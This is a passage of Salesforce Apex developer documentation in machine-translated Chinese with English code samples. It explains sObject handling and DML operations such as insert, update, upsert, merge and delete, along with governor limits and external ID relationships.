Account a = new Account(Name = 'Acme', BillingCity = 'San Francisco');
insert a;
sObject s = [SELECT Id, Name FROM Account WHERE Name = 'Acme' LIMIT 1];
// This is allowed
ID id = s.Id;
// The following line results in an error when you try to save
String x = s.Name;
// This line results in an error when you try to save using API version 26.0 or earlier
s.Id = [SELECT Id FROM Account WHERE Name = 'Acme' LIMIT 1].Id;

注意

如果您的组织已启用个人帐户,则您有两种不同类型的 帐户:企业帐户和个人帐户。如果您的代码使用 创建一个新帐户,则会创建一个业务帐户。如果您的代码 使用时,将创建一个个人帐户。nameLastName如果要对 SObject 进行操作,建议先进行转换 添加到特定对象中。为 例:

Account a = new Account(Name = 'Acme', BillingCity = 'San Francisco');
insert a;
sObject s = [SELECT Id, Name FROM Account WHERE Name = 'Acme' LIMIT 1];
ID id = s.ID;
Account convertedAccount = (Account)s;
convertedAccount.name = 'Acme2';
update convertedAccount;
Contact sal = new Contact(FirstName = 'Sal', Account = convertedAccount);

以下示例演示如何对一组记录使用 SOSL 来确定其 对象类型。将通用 SObject 记录转换为联系人、潜在顾客或 帐户,您可以修改其字段 因此:

public class convertToCLA {
    List<Contact> contacts = new List<Contact>();
    List<Lead> leads = new List<Lead>();
    List<Account> accounts = new List<Account>();
 
    public void convertType(String phoneNumber) {
        List<List<SObject>> results = [FIND :phoneNumber 
            IN Phone FIELDS 
            RETURNING Contact(Id, Phone, FirstName, LastName), 
            Lead(Id, Phone, FirstName, LastName), 
            Account(Id, Phone, Name)];
        List<SObject> records = new List<SObject>();
        records.addAll(results[0]); //add Contact results to our results super-set
        records.addAll(results[1]); //add Lead results
        records.addAll(results[2]); //add Account results
 
        if (!records.isEmpty()) { 
            for (Integer i = 0; i < records.size(); i++) { 
                SObject record = records[i];
                if (record.getSObjectType() == Contact.sObjectType) { 
                    contacts.add((Contact) record);
                } else if (record.getSObjectType() == Lead.sObjectType){ 
                    leads.add((Lead) record);
                } else if (record.getSObjectType() == Account.sObjectType) { 
                    accounts.add((Account) record); 
                }
            }
        }
    }
}

使用 SObject 字段

SObject 字段可以初始设置,也可以不设置(未设置);未设置的字段与 空字段或空白字段。在 SObject 上执行 DML 操作时,可以更改字段 这是设置的;您无法更改未设置的字段。

注意

若要擦除字段的当前值,请将该字段设置为 null。

如果 Apex 方法采用 SObject 参数,则可以使用 System.isSet() 方法标识设置字段。如果你 想要取消设置任何字段以保留其值,请先创建一个 SObject 实例。然后 仅应用要成为 DML 操作一部分的字段。

此示例代码演示如何将 SObject 字段标识为已设置或未设置。

Contact nullFirst = new Contact(LastName='Codey', FirstName=null);
System.assertEquals(true, nullFirst.isSet('FirstName'), 'FirstName is set to a literal value, so it counts as set');
Contact unsetFirst = new Contact(LastName='Astro');
System.assertEquals(false, unsetFirst.isSet('FirstName'), ‘FirstName is not set’);

仅当 SObject 的 SObject 字段类型为 Boolean 时,表达式的计算结果才为 true 字段为 true。如果字段为 false 或 null,则表达式的计算结果为 false。这 示例代码显示了一个表达式,用于检查Campaign对象的字段是否为null。因为这个表达式总是 计算结果为 false,语句中的代码为 从未执行过。IsActiveif

Campaign cObj= new Campaign(); 
...
   if (cObj.IsActive == null) {
  ... // IsActive is evaluated to false and this code block is not executed.
   }

验证 sObjects 和字段

解析和验证 Apex 代码时,将针对所有 sObject 和字段引用进行验证 实际的对象和字段名称,当无效名称 使用。此外,Apex 解析器还跟踪使用的自定义对象和字段,这两个对象和字段都在 代码的语法以及嵌入的 SOQL 和 SOSL 语句。

平台会阻止用户在进行以下类型的修改时进行这些更改 导致 Apex 代码无效:

  • 更改字段或对象名称
  • 从一种数据类型转换为另一种数据类型
  • 删除字段或对象
  • 进行某些组织范围的更改,例如记录共享、字段历史记录跟踪或 记录类型

数据操作语言

Apex 使您能够在数据库中插入、更新、删除或还原数据。DML系列 操作允许您一次修改一条记录或批量修改记录。

  • DML 的工作原理
  • 使用 DML
    添加和检索数据 Apex 与 Lightning Platform 持久性层紧密集成。数据库中的记录可以使用简单的语句直接通过 Apex 插入和操作。Apex 中允许您在数据库中添加和管理记录的语言是数据操作语言 (DML)。与用于读取操作(查询记录)的 SOQL 语言相比,DML 用于写入操作。
  • DML 语句与数据库类方法 Apex 提供了两种执行 DML 操作的方法:使用 DML 语句或 Database 类方法
    。这为执行数据操作的方式提供了灵活性。DML 语句使用起来更简单,并导致可以在代码中处理的异常。
  • 作为原子事务的 DML 操作
  • DML 操作
    使用 DML,您可以插入新记录并将其提交到数据库。您还可以更新现有记录的字段值。
  • 异常处理
  • 有关 DML
    的更多信息 以下是您可能想知道的有关使用数据操作语言的一些事项。
  • 锁定记录
    锁定 sObject 记录时,不允许其他客户端或用户通过代码或 Salesforce 用户界面进行更新。锁定记录的客户端可以对记录执行逻辑并进行更新,并保证锁定的记录在锁定期间不会被其他客户端更改。

DML 的工作原理

单个 DML 操作与批量 DML 操作

您可以对单个 sObject 或批量执行 DML 操作 在 sObject 列表中。建议执行批量 DML 操作,因为 它有助于避免达到调控器限制,例如每个 150 个语句的 DML 限制 顶点交易。此限制旨在确保公平访问共享资源 在闪电平台中。对 sObjects 计数列表执行 DML 操作 作为一个 DML 语句,而不是每个 sObject 的一个语句。

此示例对单个 sObject 执行 DML 调用,效率不高。

循环遍历联系人。对于每个 联系人,如果部门字段与某个值匹配,则为 Description__c字段。如果列表包含的项目不止,则第 151 次更新 返回无法捕获的异常。for

List<Contact> conList = [Select Department , Description from Contact];
for(Contact badCon : conList) {
    if (badCon.Department == 'Finance') {
        badCon.Description__c = 'New description';
    }
    // Not a good practice since governor limits might be hit.
    update badCon;
}

此示例是上一个示例的修改版本,该示例未命中 调速器限制。DML 操作是通过调用联系人列表批量执行的。此代码计数 作为一个 DML 语句,远低于 150 的限制。update

// List to hold the new contacts to update.
List<Contact> updatedList = new List<Contact>();
List<Contact> conList = [Select Department , Description from Contact];
for(Contact con : conList) {
    if (con.Department == 'Finance') {
        con.Description = 'New description';
        // Add updated contact sObject to the list.
        updatedList.add(con);
    }
}

// Call update on the list of contacts.
// This results in one DML call for the entire list.
update updatedList;

另一个 DML 调控器限制是 DML 可以处理的总行数 单个事务中的操作,即 10,000 个。所有 DML 处理的所有行 同一事务计数的调用将递增到此限制。例如,如果 您在同一笔交易中插入 100 个联系人并更新 50 个联系人,您的总数 DML 处理的行数为 150。您还剩下 9,850 行 (10,000 – 150)。

系统上下文和共享规则

大多数 DML 操作在系统上下文中执行,忽略当前用户的 权限、字段级安全性、组织范围的默认值、角色中的位置 层次结构和共享规则。有关详细信息,请参阅强制执行共享规则

注意

如果您在匿名块中执行 DML 操作,则它们将使用 当前用户的对象级和字段级权限。

最佳实践

使用 SObjects 上的 DML,最好构造新实例并仅更新字段 您希望在不查询其他字段的情况下进行修改。如果查询 要更新的字段,您可以还原查询的字段值,这些字段值可能具有 在查询和 DML 之间更改。

使用 DML 添加和检索数据

Apex 与 Lightning Platform 持久性层紧密集成。记录 可以使用简单的语句直接通过 Apex 插入和操作数据库。 Apex 中允许您在数据库中添加和管理记录的语言是数据 操作语言 (DML)。与用于读取的 SOQL 语言相比 操作(查询记录),DML 用于写入操作。

在插入或操作记录之前,记录数据在内存中作为 sObject 创建。 sObject 数据类型是泛型数据类型,对应于 将保存记录数据的变量。有特定的数据类型,子类型从 sObject 数据类型,对应于标准对象记录的数据类型,例如 作为 Account 或 Contact,以及自定义对象,例如 Invoice_Statement__c。通常,您 将处理这些特定的 sObject 数据类型。但有时,当你不这样做时 提前知道 sObject 的类型,就可以使用通用的 sObject 数据了 类型。这是一个示例,说明如何创建新的特定帐户 sObject 并分配 它设置为变量。

Account a = new Account(Name='Account Example');

在前面的示例中,变量引用的帐户存在于内存中,并带有必填字段。但是,它尚未持久化到 Lightning 平台持久性层。您需要调用 DML 语句来持久化 s对象添加到数据库。下面是创建和保留此帐户的示例 使用语句。aNameinsert

Account a = new Account(Name='Account Example');
insert a;

此外,还可以使用 DML 修改已插入的记录。其中 您可以执行的操作包括记录更新、删除、从 回收站、合并记录或转换潜在客户。查询记录后,您将获得 sObject 实例,您可以修改这些实例,然后保留其更改。这是一个 查询以前保留的现有记录的示例,更新 内存中此记录的 sObject 表示形式上的几个字段,然后 将此更改保存到数据库。

// Query existing account.
Account a = [SELECT Name,Industry 
               FROM Account 
               WHERE Name='Account Example' LIMIT 1];

// Write the old values the debug log before updating them.
System.debug('Account Name before update: ' + a.Name); // Name is Account Example
System.debug('Account Industry before update: ' + a.Industry);// Industry is not set

// Modify the two fields on the sObject.
a.Name = 'Account of the Day';
a.Industry = 'Technology';

// Persist the changes.
update a;

// Get a new copy of the account from the database with the two fields.
Account a = [SELECT Name,Industry 
             FROM Account 
             WHERE Name='Account of the Day' LIMIT 1];

// Verify that updated field values were persisted.
System.assertEquals('Account of the Day', a.Name);
System.assertEquals('Technology', a.Industry);

DML 语句与数据库类方法

Apex 提供了两种执行 DML 操作的方法:使用 DML 语句或数据库 类方法。这为执行数据操作的方式提供了灵活性。DML 语句 更易于使用,并导致您可以在 法典。

这是 用于插入新记录的 DML 语句。

// Create the list of sObjects to insert
List<Account> acctList = new List<Account>();
acctList.add(new Account(Name='Acme1'));
acctList.add(new Account(Name='Acme2'));

// DML statement
insert acctList;

这是上一个示例的等效示例,但它使用了 Database 的方法 类而不是 DML 谓词。

// Create the list of sObjects to insert
List<Account> acctList = new List<Account>();
acctList.add(new Account(Name='Acme1'));
acctList.add(new Account(Name='Acme2'));

// DML statement
Database.SaveResult[] srList = Database.insert(acctList, false);

// Iterate through each returned result
for (Database.SaveResult sr : srList) {
    if (sr.isSuccess()) {
        // Operation was successful, so get the ID of the record that was processed
        System.debug('Successfully inserted account. Account ID: ' + sr.getId());
    }
    else {
        // Operation failed, so get all errors                
        for(Database.Error err : sr.getErrors()) {
            System.debug('The following error has occurred.');                    
            System.debug(err.getStatusCode() + ': ' + err.getMessage());
            System.debug('Account fields that affected this error: ' + err.getFields());
        }
    }
}

这两个选项之间的一个区别是,通过使用 Database 类方法,您可以 可以指定在出现错误时是否允许部分记录处理 遇到。您可以通过传递额外的第二个布尔参数来实现此目的。如果你 指定此参数,如果 a 记录 失败,其余的 DML 操作仍然可以成功。此外,除了例外,一个 result 对象数组(如果只传入一个 sObject,则返回一个 result 对象) 包含每个操作的状态和遇到的任何错误。默认情况下,此 可选参数是 ,这意味着如果 至少一个 sObject 无法处理,所有剩余的 sObject 都不会处理,并且 对于导致失败的记录,将引发异常。falsetrue

以下内容可帮助您决定何时要使用 DML 语句或 Database 类 方法。

  • 如果您希望在批量 DML 处理期间发生的任何错误,请使用 DML 语句 作为 Apex 异常引发,该异常会立即中断控制流(通过使用块)。此行为是 与大多数数据库过程语言中处理异常的方式类似。try. . .catch
  • 如果要允许批量 DML 部分成功,请使用 Database 类方法 操作 – 如果记录失败,DML 操作的其余部分仍可 成功。然后,应用程序可以检查被拒绝的记录,并可能重试 操作。使用此窗体时,可以编写从不引发 DML 的代码 异常错误。相反,您的代码可以使用适当的 results 数组来判断 成功或失败。请注意,Database 方法还包括支持 引发异常,类似于 DML 语句。

注意

除了少数操作外,大多数操作在两者之间重叠。

  • 操作仅 可用作 Database 类方法,而不是 DML 语句。convertLead
  • Database 类还提供了不作为 DML 语句提供的方法,例如 作为事务控制和回滚的方法,清空回收站,以及 与 SOQL 查询相关的方法。

作为原子事务的 DML 操作

DML 操作在事务中执行。所有 DML 操作 在事务中,要么成功完成,要么在一个操作中发生错误,则整个 事务将回滚,并且不会将任何数据提交到数据库。事务的边界 可以是触发器、类方法、匿名代码块、Apex 页面或自定义 Web 服务 方法。

在事务边界内发生的所有操作都表示一个操作单元。 这也适用于从事务边界对外部代码进行的调用,例如 由于在事务边界中运行的代码而触发的类或触发器。为 例如,请考虑以下操作链:自定义 Apex Web 服务方法调用方法 在执行某些 DML 操作的类中。在这种情况下,所有更改都将提交到 只有在事务中的所有操作完成执行后才使用数据库,并且不会导致任何错误。 如果在任何中间步骤中发生错误,则将回滚所有数据库更改,并且 事务未提交。

DML 操作

使用 DML,您可以插入新记录并将其提交到数据库。您还可以 更新现有记录的字段值。

  • 插入和更新记录
    使用 DML,您可以插入新记录并将其提交到数据库。同样,您可以更新现有记录的字段值。
  • Upserting 提单记录
  • 合并记录
  • 删除记录
  • 恢复已删除的记录
  • 转换潜在客户

插入和更新记录

使用 DML,您可以插入新记录并将其提交到数据库。同样,你 可以更新现有记录的字段值。

重要

在可能的情况下,我们更改了非包容性条款,以符合我们的 平等的公司价值观。我们保留了某些条款,以避免对 客户实施。

本示例插入三条客户记录并更新现有客户记录。第一 创建三个帐户 sObject 并将其添加到列表中。插入语句批量插入 帐户列表作为参数。然后,更新第二个客户记录, 更新计费城市,并调用 update 语句以将更改保留在 数据库。

Account[] accts = new List<Account>();
for(Integer i=0;i<3;i++) {
    Account a = new Account(Name='Acme' + i, 
                            BillingCity='San Francisco');
    accts.add(a);
}
Account accountToUpdate;
try {
    insert accts;        
    
    // Update account Acme2.
    accountToUpdate = 
        [SELECT BillingCity FROM Account 
         WHERE Name='Acme2' AND BillingCity='San Francisco'
         LIMIT 1];
    // Update the billing city.
    accountToUpdate.BillingCity = 'New York';
    // Make the update call.
    update accountToUpdate;
} catch(DmlException e) {
    System.debug('An unexpected error has occurred: ' + e.getMessage());
}

// Verify that the billing city was updated to New York.
Account afterUpdate = 
    [SELECT BillingCity FROM Account WHERE Id=:accountToUpdate.Id];
System.assertEquals('New York', afterUpdate.BillingCity);

插入相关记录

如果关系已经存在,则可以插入与现有记录相关的记录 在两个对象之间定义,例如查找或主从关系。一个 记录通过外键 ID 与相关记录相关联。例如 插入新联系人时,可以指定联系人的相关客户记录 通过设置字段的值。AccountId

本示例通过设置联系人的字段将联系人添加到客户(相关记录)中。联系和 帐户通过查找关系链接。AccountId

try {
    Account acct = new Account(Name='SFDC Account');
    insert acct;

    // Once the account is inserted, the sObject will be 
    // populated with an ID.
    // Get this ID.
    ID acctID = acct.ID;

    // Add a contact to this account.
    Contact con = new Contact(
        FirstName='Joe',
        LastName='Smith',
        Phone='415.555.1212',
        AccountId=acctID);
    insert con;
} catch(DmlException e) {
    System.debug('An unexpected error has occurred: ' + e.getMessage());
}

更新相关记录

无法使用对 DML 操作的相同调用来更新相关记录上的字段 并且需要单独的 DML 调用。例如,如果插入新联系人,您可以 通过设置字段的值来指定联系人的相关客户记录。但是,您无法更改 帐户的名称,而不使用单独的 DML 调用更新帐户本身。 同样,在更新联系人时,如果您还想更新联系人的 相关帐户,您必须进行两次 DML 调用。以下示例更新了一个 使用两个语句的联系人及其相关帐户。

AccountIdupdate

try {
    // Query for the contact, which has been associated with an account.
    Contact queriedContact = [SELECT Account.Name 
                              FROM Contact 
                              WHERE FirstName = 'Joe' AND LastName='Smith'
                              LIMIT 1];

    // Update the contact's phone number
    queriedContact.Phone = '415.555.1213';

    // Update the related account industry
    queriedContact.Account.Industry = 'Technology';

    // Make two separate calls 
    // 1. This call is to update the contact's phone.
    update queriedContact;
    // 2. This call is to update the related account's Industry field.
    update queriedContact.Account; 
} catch(Exception e) {
    System.debug('An unexpected error has occurred: ' + e.getMessage());
}
  • 使用外部 ID 关联记录 使用父记录上的自定义外部 ID
    字段添加相关记录。通过外部 ID 字段关联记录是使用记录 ID 的替代方法。仅当已为所涉及的对象定义了关系(如主从-细节或查找)时,才能将相关记录添加到另一条记录中。
  • 使用外键在单个语句中创建父记录和子记录

使用外部 ID 关联记录

使用父记录上的自定义外部 ID 字段添加相关记录。 通过外部 ID 字段关联记录是使用记录 ID 的替代方法。你 只有当关系(如主从-细节或 lookup) 已为所涉及的对象定义。

重要

在可能的情况下,我们更改了非包容性条款,以符合我们的 平等的公司价值观。我们保留了某些条款,以避免对 客户实施。此示例将新商机与现有客户关联。帐户 sObject 具有 标记为外部 ID 的自定义字段。商机记录与客户记录相关联 通过自定义外部 ID 字段。该示例假定:

  • Account sObject 具有一个名为 MyExtID 的文本类型的外部 ID 字段
  • 客户记录存在于以下位置MyExtID__c = ‘SAP111111’

在插入新商机之前,客户记录将作为 通过 Opportunity.Account 关系字段的 sObject。

Opportunity newOpportunity = new Opportunity(
    Name='OpportunityWithAccountInsert',
    StageName='Prospecting',
    CloseDate=Date.today().addDays(7));

// Create the parent record reference.
// An account with external ID = 'SAP111111' already exists.
// This sObject is used only for foreign key reference
// and doesn't contain any other fields.
Account accountReference = new Account(
    MyExtID__c='SAP111111');                

// Add the account sObject to the opportunity.
newOpportunity.Account = accountReference;

// Create the opportunity.
Database.SaveResult results = Database.insert(newOpportunity);

前面的示例执行插入操作,但您也可以通过 执行更新或更新插入时的外部 ID 字段。如果父记录不存在,则 可以使用单独的 DML 语句或使用相同的 DML 语句创建它,如使用外键在单个语句中创建父记录和子记录中所示。

在单个语句中使用 外键

您可以使用外部 ID 字段作为外键来创建父记录和子记录 在单个步骤中执行不同的 sObject 类型,而不是创建父记录 首先,查询其 ID,然后创建子记录。为此,请执行以下操作:

  • 创建子 sObject 并填充其必填字段,并根据需要 其他领域。
  • 创建仅用于设置父外部的父引用 sObject 子 sObject 上的键引用。此 sObject 只有外部 ID 已定义字段,未设置其他字段。
  • 将子 sObject 的外键字段设置为父引用 s您刚刚创建的对象。
  • 创建另一个要传递给语句的父 sObject。此 sObject 必须具有 除了 外部 ID 字段。insert
  • 通过向它传递一个数组来调用 要创建的 sObjects。父 sObject 必须位于 数组,即父数组的数组索引必须低于 儿童索引。insert

您可以创建最多 10 级的相关记录。此外,相关的 在单个调用中创建的记录必须具有不同的 sObject 类型。查看更多 信息,请参阅为不同对象创建记录 SOAP API 开发人员指南中的类型。以下示例说明如何使用父帐户创建商机 同样的陈述。示例 创建一个 Opportunity sObject 并填充其中的一些字段,然后创建两个 Account 对象。第一个帐户仅用于外键关系,而 第二个是用于帐户创建,并设置了帐户字段。两个帐户 设置外部 ID 字段 。 接下来,示例调用 向它传递一个 sObject 数组。数组中的第一个元素是父元素 sObject,第二个是机会 sObject。该语句创建 Opportunity 及其父帐户只需一步即可完成。最后,该示例检查 结果,并将所创建记录的 ID 写入调试日志,或第一个 如果记录创建失败,则出错。此示例需要 调用的帐户 MyExtID。

insertMyExtID__cDatabase.insertDatabase.insert

public class ParentChildSample {
    public static void InsertParentChild() {
        Date dt = Date.today();
        dt = dt.addDays(7);
        Opportunity newOpportunity = new Opportunity(
            Name='OpportunityWithAccountInsert',
            StageName='Prospecting',
            CloseDate=dt);
        
        // Create the parent reference.
        // Used only for foreign key reference
        // and doesn't contain any other fields.
        Account accountReference = new Account(
            MyExtID__c='SAP111111');                
        newOpportunity.Account = accountReference;
        
        // Create the Account object to insert.
        // Same as above but has Name field.
        // Used for the insert.
        Account parentAccount = new Account(
            Name='Hallie',
            MyExtID__c='SAP111111');      
        
        // Create the account and the opportunity.
        Database.SaveResult[] results = Database.insert(new SObject[] {
            parentAccount, newOpportunity });
        
        // Check results.
        for (Integer i = 0; i < results.size(); i++) {
            if (results[i].isSuccess()) {
            System.debug('Successfully created ID: '
                  + results[i].getId());
            } else {
            System.debug('Error: could not create sobject '
                  + 'for array element ' + i + '.');
            System.debug('   The error reported was: '
                  + results[i].getErrors()[0].getMessage() + '\n');
            }
        }
    }
}

Upserting 提单记录

使用该操作,您可以 在一次通话中插入或更新现有记录。确定记录是否已 存在、语句或 Database 方法 使用记录的 ID 作为键来匹配记录、自定义外部 ID 字段或 idLookup 属性设置为 true 的标准字段。

upsertupsert

  • 如果键不匹配,则创建新的对象记录。
  • 如果键匹配一次,则更新现有对象记录。
  • 如果键多次匹配,则会生成错误和对象 记录既不会插入也不会更新。

注意

仅当自定义字段具有唯一将“ABC”和“abc”视为重复时,自定义字段匹配才不区分大小写 值(不区分大小写)属性被选为字段的一部分 定义。如果是这种情况,则“ABC123”与 “abc123。”有关详细信息,请参阅创建 自定义字段。

例子

以下示例更新位于 城市以前称为孟买,并且还插入了一个位于 San 的新帐户 弗朗西斯科:

Account[] acctsList = [SELECT Id, Name, BillingCity
                        FROM Account WHERE BillingCity = 'Bombay'];
for (Account a : acctsList) {
    a.BillingCity = 'Mumbai';
}
Account newAcct = new Account(Name = 'Acme', BillingCity = 'San Francisco');
acctsList.add(newAcct);
try {
    upsert acctsList;
} catch (DmlException e) {
    // Process exception here
}

注意

有关处理的详细信息,请参阅批量 DML 异常处理。DmlException

下一个示例使用该方法更新插入传入的潜在顾客集合。此示例允许 记录的部分处理,即如果某些记录处理失败, 其余记录仍会插入或更新。它遍历结果和 将新任务添加到已成功处理的每条记录中。任务 sObjects 是 保存在列表中,然后批量插入。此示例后面跟着一个测试类 其中包含用于测试示例的测试方法。Database.upsert

/* This class demonstrates and tests the use of the
 * partial processing DML operations */ 

public class DmlSamples {

   /* This method accepts a collection of lead records and 
      creates a task for the owner(s) of any leads that were 
      created as new, that is, not updated as a result of the upsert
      operation */
   public static List<Database.upsertResult> upsertLeads(List<Lead> leads)  {

      /* Perform the upsert. In this case the unique identifier for the
         insert or update decision is the Salesforce record ID. If the 
         record ID is null the row will be inserted, otherwise an update
         will be attempted. */
      List<Database.upsertResult> uResults = Database.upsert(leads,false);

      /* This is the list for new tasks that will be inserted when new 
         leads are created. */
      List<Task> tasks = new List<Task>();
      for(Database.upsertResult result:uResults) {
         if (result.isSuccess() && result.isCreated()) 
              tasks.add(new Task(Subject = 'Follow-up', WhoId = result.getId()));
      }

      /* If there are tasks to be inserted, insert them */
      Database.insert(tasks);

      return uResults;
   }
}
@isTest
private class DmlSamplesTest {
   public static testMethod void testUpsertLeads() {
        /* We only need to test the insert side of upsert */
      List<Lead> leads = new List<Lead>();

      /* Create a set of leads for testing */
      for(Integer i = 0;i < 100; i++) {
         leads.add(new Lead(LastName = 'testLead', Company = 'testCompany'));
      }

      /* Switch to the runtime limit context */
      Test.startTest();

      /* Exercise the method */
      List<Database.upsertResult> results = DmlSamples.upsertLeads(leads);

      /* Switch back to the test context for limits */
      Test.stopTest();

      /* ID set for asserting the tasks were created as expected */
      Set<Id> ids = new Set<Id>();

      /* Iterate over the results, asserting success and adding the new ID
         to the set for use in the comprehensive assertion phase below. */
      for(Database.upsertResult result:results) {
         System.assert(result.isSuccess());
         ids.add(result.getId());
      }

      /* Assert that exactly one task exists for each lead that was inserted. */
      for(Lead l:[SELECT Id, (SELECT Subject FROM Tasks) FROM Lead WHERE Id IN :ids]) {
         System.assertEquals(1,l.tasks.size());
      }
   }
}

使用外部 ID 可以减少 代码中 DML 语句的数量,并帮助您避免达到调控器限制 (见执行 调速器和限制)。下一个示例使用 Asset 对象上的外部 ID 字段来维护一对一关系 在资产和商机明细项之间。upsertupsertLine_Item_Id__c

注意

在运行此示例之前,请在名为 Asset 对象的对象上创建一个自定义文本字段,并将其标记为外部 同上。有关自定义字段的信息,请参阅 Salesforce 联机帮助。Line_Item_Id__c

public void upsertExample() {
    Opportunity opp = [SELECT Id, Name, AccountId, 
                              (SELECT Id, PricebookEntry.Product2Id, PricebookEntry.Name 
                               FROM OpportunityLineItems)
                       FROM Opportunity 
                       WHERE HasOpportunityLineItem = true 
                       LIMIT 1]; 

    Asset[] assets = new Asset[]{}; 

    // Create an asset for each line item on the opportunity
    for (OpportunityLineItem lineItem:opp.OpportunityLineItems) {

        //This code populates the line item Id, AccountId, and Product2Id for each asset
        Asset asset = new Asset(Name = lineItem.PricebookEntry.Name,
                                Line_Item_ID__c = lineItem.Id,
                                AccountId = opp.AccountId,
                                Product2Id = lineItem.PricebookEntry.Product2Id);

        assets.add(asset);
    }
 
    try {
        upsert assets Line_Item_ID__c;  // This line upserts the assets list with
                                        // the Line_Item_Id__c field specified as the 
                                        // Asset field that should be used for matching
                                        // the record that should be upserted. 
    } catch (DmlException e) {
        System.debug(e.getMessage());
    }
}

合并记录

当您在 数据库,清理数据并合并记录可能会 是个好主意。您最多可以合并同一 sObject 的三条记录 类型。操作 最多将三条记录合并到其中一条记录中,删除其他记录, 并重新处理任何相关记录。merge

下面演示如何 将现有客户记录合并到主账户中。帐户 要合并,则具有相关联系人,该联系人将移至主帐户 合并操作后的记录。此外,合并后,合并记录 被删除,数据库中仅保留一条记录。这个例子 首先创建一个包含两个帐户的列表,然后插入该列表。然后 它执行查询以从数据库中获取新的客户记录, 并将联系人添加到要合并的客户中。接下来,它合并 两个帐户。最后,它验证联系人是否已移动 到主账户,第二个账户已被删除。

// Insert new accounts
List<Account> ls = new List<Account>{
    new Account(name='Acme Inc.'),
        new Account(name='Acme')
        };                                        
insert ls;

// Queries to get the inserted accounts 
Account masterAcct = [SELECT Id, Name FROM Account WHERE Name = 'Acme Inc.' LIMIT 1];
Account mergeAcct = [SELECT Id, Name FROM Account WHERE Name = 'Acme' LIMIT 1];

// Add a contact to the account to be merged
Contact c = new Contact(FirstName='Joe',LastName='Merged');
c.AccountId = mergeAcct.Id;
insert c;

try {
    merge masterAcct mergeAcct;
} catch (DmlException e) {
    // Process exception
    System.debug('An unexpected error has occurred: ' + e.getMessage()); 
}

// Once the account is merged with the master account,
// the related contact should be moved to the master record.
masterAcct = [SELECT Id, Name, (SELECT FirstName,LastName From Contacts) 
              FROM Account WHERE Name = 'Acme Inc.' LIMIT 1];
System.assert(masterAcct.getSObjects('Contacts').size() > 0);
System.assertEquals('Joe', masterAcct.getSObjects('Contacts')[0].get('FirstName'));
System.assertEquals('Merged', masterAcct.getSObjects('Contacts')[0].get('LastName'));

// Verify that the merge record got deleted
Account[] result = [SELECT Id, Name FROM Account WHERE Id=:mergeAcct.Id];
System.assertEquals(0, result.size());

第二个例子 与前一个类似,只是它使用方法(而不是 声明)。这 的最后一个参数设置为 此操作中遇到的任何错误都会在合并结果中返回 而不是获得异常。该示例将两个帐户合并到 主帐户并检索返回的结果。示例 创建一个主帐户和两个副本,其中一个具有子帐户 联系。它验证在合并后联系人是否移动到 主帐户。Database.mergemergeDatabase.mergefalse

// Create master account
Account master = new Account(Name='Account1');
insert master;

// Create duplicate accounts
Account[] duplicates = new Account[]{
    // Duplicate account 
    new Account(Name='Account1, Inc.'),
    // Second duplicate account
    new Account(Name='Account 1')
};
insert duplicates;

// Create child contact and associate it with first account
Contact c = new Contact(firstname='Joe',lastname='Smith', accountId=duplicates[0].Id);
insert c;



// Get the account contact relation ID, which is created when a contact is created on "Account1, Inc." 
AccountContactRelation resultAcrel = [SELECT Id FROM AccountContactRelation WHERE ContactId=:c.Id LIMIT 1];


// Merge accounts into master
Database.MergeResult[] results = Database.merge(master, duplicates, false);

for(Database.MergeResult res : results) {
    if (res.isSuccess()) {
        // Get the master ID from the result and validate it
        System.debug('Master record ID: ' + res.getId());
        System.assertEquals(master.Id, res.getId());              
        
        // Get the IDs of the merged records and display them
        List<Id> mergedIds = res.getMergedRecordIds();
        System.debug('IDs of merged records: ' + mergedIds);                
        
        // Get the ID of the reparented record and 
        // validate that this the contact ID.
        System.debug('Reparented record ID: ' + res.getUpdatedRelatedIds());

	 // Make sure there are two IDs (contact ID and account contact relation ID); the order isn't defined
        System.assertEquals(2, res.getUpdatedRelatedIds().size() );    
        boolean flag1 = false;
	boolean flag2 = false;


    	// Because the order of the IDs isn't defined, the ID can be at index 0 or 1 of the array	     
        if (resultAcrel.id == res.getUpdatedRelatedIds()[0] || resultAcrel.id == res.getUpdatedRelatedIds()[1] )
            	flag1 = true;
        
       if (c.id == res.getUpdatedRelatedIds()[0] || c.id == res.getUpdatedRelatedIds()[1] )
            flag2 = true;
            
        System.assertEquals(flag1, true); 
        System.assertEquals(flag2, true);  
            
    }
    else {
        for(Database.Error err : res.getErrors()) {
            // Write each error to the debug output
            System.debug(err.getMessage());
        }
    }
}

合并注意事项

合并 sObject 时 记录中,请考虑以下规则和准则:

  • 只能合并潜在顾客、联系人、案例和客户。请参阅不支持 DML 操作的 sObject。
  • 您可以传递一个主记录和最多两个附加的 sObject 记录到单个方法。merge
  • 使用 Apex 合并操作时,主记录上的字段值始终取代 要合并的记录上的相应字段值。要保留合并的 记录字段值,只需在主 sObject 上设置此字段值即可 执行合并。
  • 外部 ID 字段不能与 一起使用。merge

删除记录

在数据库中保留记录后,可以使用该操作删除这些记录。已删除的记录不会被删除 永久来自 Salesforce,但它们将被放置在回收站中 15 天,从 它们可以恢复的地方。恢复已删除的记录将在后面的部分中介绍。delete

以下示例删除名为“DotCom”的所有帐户:

Account[] doomedAccts = [SELECT Id, Name FROM Account 
                         WHERE Name = 'DotCom']; 
try {
    delete doomedAccts;
} catch (DmlException e) {
    // Process exception here
}

注意

有关处理的详细信息,请参阅批量 DML 异常处理。DmlException

参考 删除和还原记录时的完整性

该操作支持级联删除。如果 删除父对象时,会自动删除其子对象,只要每个子对象 可以删除记录。

delete

例如,如果您删除案例记录,则 Apex 会自动 删除与之关联的任何 CaseComment、CaseHistory 和 CaseSolution 记录 箱。但是,如果特定子记录不可删除或当前正在删除 used,则对 父案例记录失败。delete该操作还原以下类型关系的记录关联:

undelete

  • 父帐户(如“父帐户”字段中指定) 在帐户上)
  • 间接客户联系人关系(如“相关客户”中指定) 联系人上的相关列表或联系人上的相关联系人相关列表 帐户)
  • 父案例(如 案例)
  • 已翻译解决方案的主解决方案(如主解决方案中指定的那样) 解决方案上的解决方案字段)
  • 联系人的经理(如“报告对象”字段中指定) 在联系人上)
  • 与资产相关的产品(在资产的“产品”字段中指定)
  • 与报价单相关的商机(在报价单的 Opportunity 字段中指定)
  • 所有自定义查找关系
  • 帐户和关系组上的关系组成员,以及一些 异常
  • 标签
  • 文章的类别、发布状态和作业

注意

Salesforce的 仅恢复尚未替换的查找关系。例如,如果 在原始产品记录之前,资产与不同的产品相关 如果未删除,则不会恢复该资产-产品关系。

恢复已删除的记录

